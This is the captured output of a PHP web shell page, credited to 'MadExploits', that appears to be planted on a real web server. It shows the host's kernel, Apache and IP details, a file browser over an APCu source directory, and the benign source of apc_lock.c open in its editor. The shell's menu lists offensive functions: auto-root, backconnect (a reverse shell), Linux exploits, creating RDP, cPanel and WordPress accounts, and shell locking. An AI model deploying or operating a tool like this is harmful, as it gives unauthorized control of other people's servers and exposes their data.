Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
apcu-5.1.19 /
[ HOME SHELL ]
Name
Size
Permission
Action
.libs
[ DIR ]
drwxr-xr-x
autom4te.cache
[ DIR ]
drwxr-xr-x
build
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
INSTALL
13.63
KB
-rw-rw-r--
LICENSE
3.14
KB
-rw-rw-r--
Makefile
13.36
KB
-rw-r--r--
Makefile.frag
270
B
-rw-rw-r--
Makefile.fragments
0
B
-rw-r--r--
Makefile.objects
4.18
KB
-rw-r--r--
NOTICE
1.7
KB
-rw-rw-r--
README.md
1.47
KB
-rw-rw-r--
TECHNOTES.txt
13.04
KB
-rw-rw-r--
apc.c
4.33
KB
-rw-rw-r--
apc.dep
5.33
KB
-rw-r--r--
apc.h
6.09
KB
-rw-rw-r--
apc.lo
297
B
-rw-r--r--
apc.php
37.09
KB
-rw-rw-r--
apc_api.h
1.24
KB
-rw-rw-r--
apc_arginfo.h
113
B
-rw-rw-r--
apc_cache.c
31.24
KB
-rw-rw-r--
apc_cache.dep
6.14
KB
-rw-r--r--
apc_cache.h
1.92
KB
-rw-rw-r--
apc_cache.lo
309
B
-rw-r--r--
apc_cache_api.h
11.85
KB
-rw-rw-r--
apc_globals.h
3.55
KB
-rw-rw-r--
apc_iterator.c
15.88
KB
-rw-rw-r--
apc_iterator.dep
6.29
KB
-rw-r--r--
apc_iterator.h
3.79
KB
-rw-rw-r--
apc_iterator.lo
315
B
-rw-r--r--
apc_iterator.stub.php
753
B
-rw-rw-r--
apc_iterator_arginfo.h
2.29
KB
-rw-rw-r--
apc_iterator_legacy_arginfo.h
2.11
KB
-rw-rw-r--
apc_lock.c
7.1
KB
-rw-rw-r--
apc_lock.dep
5.09
KB
-rw-r--r--
apc_lock.h
1.27
KB
-rw-rw-r--
apc_lock.lo
307
B
-rw-r--r--
apc_lock_api.h
4.54
KB
-rw-rw-r--
apc_mmap.c
4.26
KB
-rw-rw-r--
apc_mmap.dep
5.22
KB
-rw-r--r--
apc_mmap.h
1.94
KB
-rw-rw-r--
apc_mmap.lo
307
B
-rw-r--r--
apc_mutex.c
2.24
KB
-rw-rw-r--
apc_mutex.dep
5.05
KB
-rw-r--r--
apc_mutex.h
2.25
KB
-rw-rw-r--
apc_mutex.lo
309
B
-rw-r--r--
apc_persist.c
17.47
KB
-rw-rw-r--
apc_persist.dep
5.27
KB
-rw-r--r--
apc_persist.lo
313
B
-rw-r--r--
apc_php.h
2.79
KB
-rw-rw-r--
apc_serializer.h
2.96
KB
-rw-rw-r--
apc_shm.c
3.57
KB
-rw-rw-r--
apc_shm.dep
5.13
KB
-rw-r--r--
apc_shm.h
2.04
KB
-rw-rw-r--
apc_shm.lo
305
B
-rw-r--r--
apc_signal.c
6.68
KB
-rw-rw-r--
apc_signal.dep
5.6
KB
-rw-r--r--
apc_signal.h
1.8
KB
-rw-rw-r--
apc_signal.lo
311
B
-rw-r--r--
apc_sma.c
16.45
KB
-rw-rw-r--
apc_sma.dep
5.46
KB
-rw-r--r--
apc_sma.h
1.75
KB
-rw-rw-r--
apc_sma.lo
305
B
-rw-r--r--
apc_sma_api.h
5.48
KB
-rw-rw-r--
apc_stack.c
2.9
KB
-rw-rw-r--
apc_stack.dep
5.05
KB
-rw-r--r--
apc_stack.h
2.22
KB
-rw-rw-r--
apc_stack.lo
309
B
-rw-r--r--
apc_strings.h
1.45
KB
-rw-rw-r--
apc_windows_srwlock_kernel.c
1.93
KB
-rw-rw-r--
apc_windows_srwlock_kernel.h
1.8
KB
-rw-rw-r--
apcu.la
780
B
-rw-r--r--
config.h
2.03
KB
-rw-r--r--
config.h.in
1.89
KB
-rw-r--r--
config.log
23.11
KB
-rw-r--r--
config.m4
9.39
KB
-rw-rw-r--
config.nice
190
B
-rwxr-xr-x
config.status
21
KB
-rwxr-xr-x
config.w32
1.06
KB
-rw-rw-r--
configure
448.17
KB
-rwxr-xr-x
configure.ac
5.17
KB
-rw-r--r--
libtool
205.98
KB
-rwxr-xr-x
php74_shim.h
4.19
KB
-rw-rw-r--
php_apc.c
21.39
KB
-rw-rw-r--
php_apc.dep
6.93
KB
-rw-r--r--
php_apc.h
2.23
KB
-rw-rw-r--
php_apc.lo
305
B
-rw-r--r--
php_apc.stub.php
1.23
KB
-rw-rw-r--
php_apc_arginfo.h
3.71
KB
-rw-rw-r--
php_apc_legacy_arginfo.h
2.91
KB
-rw-rw-r--
run-tests.php
139.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apc_lock.c
/* +----------------------------------------------------------------------+ | APCu | +----------------------------------------------------------------------+ | Copyright (c) 2013 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: Joe Watkins <joe.watkins@live.co.uk> | +----------------------------------------------------------------------+ */ #ifndef HAVE_APC_LOCK_H # include "apc_lock.h" #endif /* * While locking calls should never fail, apcu checks for the success of write-lock * acquisitions, to prevent more damage when a deadlock is detected. */ #ifdef PHP_WIN32 PHP_APCU_API zend_bool apc_lock_init() { return 1; } PHP_APCU_API void apc_lock_cleanup() { } PHP_APCU_API zend_bool apc_lock_create(apc_lock_t *lock) { return NULL != apc_windows_cs_create(lock); } PHP_APCU_API zend_bool apc_lock_rlock(apc_lock_t *lock) { apc_windows_cs_rdlock(lock); return 1; } static inline zend_bool apc_lock_wlock_impl(apc_lock_t *lock) { apc_windows_cs_lock(lock); return 1; } PHP_APCU_API zend_bool apc_lock_wunlock(apc_lock_t *lock) { apc_windows_cs_unlock_wr(lock); return 1; } PHP_APCU_API zend_bool apc_lock_runlock(apc_lock_t *lock) { apc_windows_cs_unlock_rd(lock); return 1; } PHP_APCU_API void apc_lock_destroy(apc_lock_t *lock) { apc_windows_cs_destroy(lock); } #elif defined(APC_NATIVE_RWLOCK) static zend_bool apc_lock_ready = 0; static pthread_rwlockattr_t apc_lock_attr; PHP_APCU_API zend_bool apc_lock_init() { if (apc_lock_ready) { return 1; } apc_lock_ready = 1; if (pthread_rwlockattr_init(&apc_lock_attr) != SUCCESS) { return 0; } if (pthread_rwlockattr_setpshared(&apc_lock_attr, PTHREAD_PROCESS_SHARED) != SUCCESS) { return 0; } return 1; } PHP_APCU_API void apc_lock_cleanup() { if (!apc_lock_ready) { return; } apc_lock_ready = 0; pthread_rwlockattr_destroy(&apc_lock_attr); } PHP_APCU_API zend_bool apc_lock_create(apc_lock_t *lock) { return pthread_rwlock_init(lock, &apc_lock_attr) == SUCCESS; } PHP_APCU_API zend_bool apc_lock_rlock(apc_lock_t *lock) { pthread_rwlock_rdlock(lock); return 1; } static inline zend_bool apc_lock_wlock_impl(apc_lock_t *lock) { return pthread_rwlock_wrlock(lock) == 0; } PHP_APCU_API zend_bool apc_lock_wunlock(apc_lock_t *lock) { pthread_rwlock_unlock(lock); return 1; } PHP_APCU_API zend_bool apc_lock_runlock(apc_lock_t *lock) { pthread_rwlock_unlock(lock); return 1; } PHP_APCU_API void apc_lock_destroy(apc_lock_t *lock) { pthread_rwlock_destroy(lock); } #elif defined(APC_LOCK_RECURSIVE) static zend_bool apc_lock_ready = 0; static pthread_mutexattr_t apc_lock_attr; PHP_APCU_API zend_bool apc_lock_init() { if (apc_lock_ready) { return 1; } apc_lock_ready = 1; if (pthread_mutexattr_init(&apc_lock_attr) != SUCCESS) { return 0; } if (pthread_mutexattr_setpshared(&apc_lock_attr, PTHREAD_PROCESS_SHARED) != SUCCESS) { return 0; } pthread_mutexattr_settype(&apc_lock_attr, PTHREAD_MUTEX_RECURSIVE); return 1; } PHP_APCU_API void apc_lock_cleanup() { if (!apc_lock_ready) { return; } apc_lock_ready = 0; pthread_mutexattr_destroy(&apc_lock_attr); } PHP_APCU_API zend_bool apc_lock_create(apc_lock_t *lock) { pthread_mutex_init(lock, &apc_lock_attr); return 1; } PHP_APCU_API zend_bool apc_lock_rlock(apc_lock_t *lock) { pthread_mutex_lock(lock); return 1; } static inline zend_bool apc_lock_wlock_impl(apc_lock_t *lock) { return pthread_mutex_lock(lock) == 0; } PHP_APCU_API zend_bool apc_lock_wunlock(apc_lock_t *lock) { pthread_mutex_unlock(lock); return 1; } PHP_APCU_API zend_bool apc_lock_runlock(apc_lock_t *lock) { pthread_mutex_unlock(lock); return 1; } PHP_APCU_API void apc_lock_destroy(apc_lock_t *lock) { pthread_mutex_destroy(lock); } #elif defined(APC_SPIN_LOCK) static int apc_lock_try(apc_lock_t *lock) { int failed = 1; asm volatile ( "xchgl %0, 0(%1)" : "=r" (failed) : "r" (&lock->state), "0" (failed) ); return failed; } static int apc_lock_get(apc_lock_t *lock) { int failed = 1; do { failed = apc_lock_try(lock); #ifdef APC_LOCK_NICE usleep(0); #endif } while (failed); return failed; } static int apc_lock_release(apc_lock_t *lock) { int released = 0; asm volatile ( "xchg %0, 0(%1)" : "=r" (released) : "r" (&lock->state), "0" (released) ); return !released; } PHP_APCU_API zend_bool apc_lock_init() { return 0; } PHP_APCU_API void apc_lock_cleanup() { } PHP_APCU_API zend_bool apc_lock_create(apc_lock_t *lock) { lock->state = 0; } PHP_APCU_API zend_bool apc_lock_rlock(apc_lock_t *lock) { apc_lock_get(lock); return 1; } static inline zend_bool apc_lock_wlock_impl(apc_lock_t *lock) { apc_lock_get(lock); return 1; } PHP_APCU_API zend_bool apc_lock_wunlock(apc_lock_t *lock) { apc_lock_release(lock); return 1; } PHP_APCU_API zend_bool apc_lock_runlock(apc_lock_t *lock) { apc_lock_release(lock); return 1; } PHP_APCU_API void apc_lock_destroy(apc_lock_t *lock) { } #else #include <unistd.h> #include <fcntl.h> static int apc_fcntl_call(int fd, int cmd, int type, off_t offset, int whence, off_t len) { int ret; struct flock lock; lock.l_type = type; lock.l_start = offset; lock.l_whence = whence; lock.l_len = len; lock.l_pid = 0; do { ret = fcntl(fd, cmd, &lock) ; } while(ret < 0 && errno == EINTR); return(ret); } PHP_APCU_API zend_bool apc_lock_init() { return 0; } PHP_APCU_API void apc_lock_cleanup() { } PHP_APCU_API zend_bool apc_lock_create(apc_lock_t *lock) { char lock_path[] = "/tmp/.apc.XXXXXX"; *lock = mkstemp(lock_path); if (*lock > 0) { unlink(lock_path); return 1; } else { return 0; } } PHP_APCU_API zend_bool apc_lock_rlock(apc_lock_t *lock) { apc_fcntl_call((*lock), F_SETLKW, F_RDLCK, 0, SEEK_SET, 0); return 1; } static inline zend_bool apc_lock_wlock_impl(apc_lock_t *lock) { apc_fcntl_call((*lock), F_SETLKW, F_WRLCK, 0, SEEK_SET, 0); return 1; } PHP_APCU_API zend_bool apc_lock_wunlock(apc_lock_t *lock) { apc_fcntl_call((*lock), F_SETLKW, F_UNLCK, 0, SEEK_SET, 0); return 1; } PHP_APCU_API zend_bool apc_lock_runlock(apc_lock_t *lock) { apc_fcntl_call((*lock), F_SETLKW, F_UNLCK, 0, SEEK_SET, 0); return 1; } PHP_APCU_API void apc_lock_destroy(apc_lock_t *lock) { close(*lock); } #endif /* Shared for all lock implementations */ PHP_APCU_API zend_bool apc_lock_wlock(apc_lock_t *lock) { HANDLE_BLOCK_INTERRUPTIONS(); if (apc_lock_wlock_impl(lock)) { return 1; } HANDLE_UNBLOCK_INTERRUPTIONS(); apc_warning("Failed to acquire write lock"); return 0; }
Close